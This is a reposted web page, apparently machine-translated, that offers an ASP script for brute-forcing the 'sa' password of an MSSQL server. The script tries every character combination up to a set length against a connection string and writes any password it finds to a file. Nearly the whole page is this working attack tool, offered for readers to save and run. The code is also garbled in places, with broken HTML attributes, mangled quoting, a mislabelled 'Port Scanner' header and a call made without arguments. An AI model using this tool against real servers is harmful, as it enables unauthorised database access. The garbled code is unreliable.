Using ASP to implement the password cracking _ application skills of MSSQL users

Save the following code as an ASP file yourself. Of course I'm still the BS, the guy who only changes the author's name.

Copy Code code as follows:

<%
' ============ ASP Port Scanner by Lake2 ===================
' Http://lake2.0x54.org
' version:0.1
' For Springboard
'==========================================================
%>
<style type= "Text/css" >
body,td,th {color: #0000FF; Font-family:verdana, Arial, Helvetica, Sans-serif;}
Body {background-color: #ffffff; font-size:14px;}
a:link {color: #0000FF; text-decoration:none;}
a:visited {text-decoration:none;color: #0000FF;}
a:hover {text-decoration:none;color: #FF0000;}
a:active {text-decoration:none;color: #FF0000;}
. buttom {color: #FFFFFF; border:1px solid #084B8E; Background-color: #719BC5}
. TextBox {border:1px Solid #084B8E}
. stylered {color: #FF0000}
</style>
<title>mssql Cracker for Springboard</title>
<%
Dim Password ()
If Request.Form ("Go") <> "1" Then
%>
<div align= "center" >welcome to <a href= "http://lake2.0x54.org" target= "_blank" >http://lake2.0x54.org </a> </div>
<form name= "Form1" method= "Post" action= "onsubmit=" Form1. Submit.disabled=true; " >
CONNSTR:
<input name= "conn" type= "text" class= "TextBox" id= "conn" value= "Provider=SQLOLEDB.1;Data source=127.0.0.1; User Id=sa; Password={pass}; "Size=" >
<br>
Char:
<input name= "char" type= "text" class= "TextBox" id= "char" value= "0123456789" size= ">"
<br>
Length:
<input name= "len" type= "text" class= "TextBox" id= "Len" value= "3" size= "4" >
<br>
Path:
<input name= "path" type= "text" class= "TextBox" value= "<%=server.mappath (" R.txt ")%>" size= ">
<input name= "CFile" type= "checkbox" class= "TextBox" id= "CFile" value= "1" checked>
Enablel<br>
<input name= "Go" type= "hidden" id= "Go" value= "1" >
<br>
<input name= "Submit" type= "Submit" class= "Buttom" id= "Submit" value= "Run" >
</form>
<%
Else
Timer1 = Timer
Server.ScriptTimeout = 7776000
ConnStr = Request.Form ("Conn")
Char = Request. Form ("char")
Lenchar = Len (Char)
ReDim Password (lenchar)
For i = 1 to Lenchar
Password (i) = Mid (Char, I, 1)
Next
Length = CInt (Request. Form ("Len")
Call Lake ("")
Response. Write "Done!<br>process" & ttime & "S"
If request. Form ("CFile") <> "" Then createresult ("done!" & vbCrLf & Ttime)
End If

Sub Lake (str)
If Len (str) >= length Then Exit Sub
For j = 1 to Lenchar
pass = str & password (j)
If Len = length Then call crack
Call Lake (pass)
Next
End Sub

Sub Crack (str)
On Error Resume Next
Set conn = Server.CreateObject ("Adodb.connection")
Conn.Open Replace (ConnStr, "{pass}", str)
If ERR Then
If Err.Number <> -2147217843 Then
Response. Write (Err.Description & "<BR>")
Response. End ()
End If
Else
Response. Write ("I Get it!") Password is <font color=red> "& str &" </font><br>process "& ttime &" S ")
If request. Form ("CFile") <> "" Then createresult (str & vbCrLf & Ttime)
Response. End ()
End If
End Sub

Function Ttime ()
Timer2 = Timer
THETIME=CSTR (int (timer2-timer1))
Ttime = Thetime
End Function

Sub Createresult (t)
Set fs = CreateObject ("Scripting.FileSystemObject")
Set outfile = fs. CreateTextFile (Request. Form ("path"))
OutFile. WriteLine T
Set fs = Nothing
End Sub
%>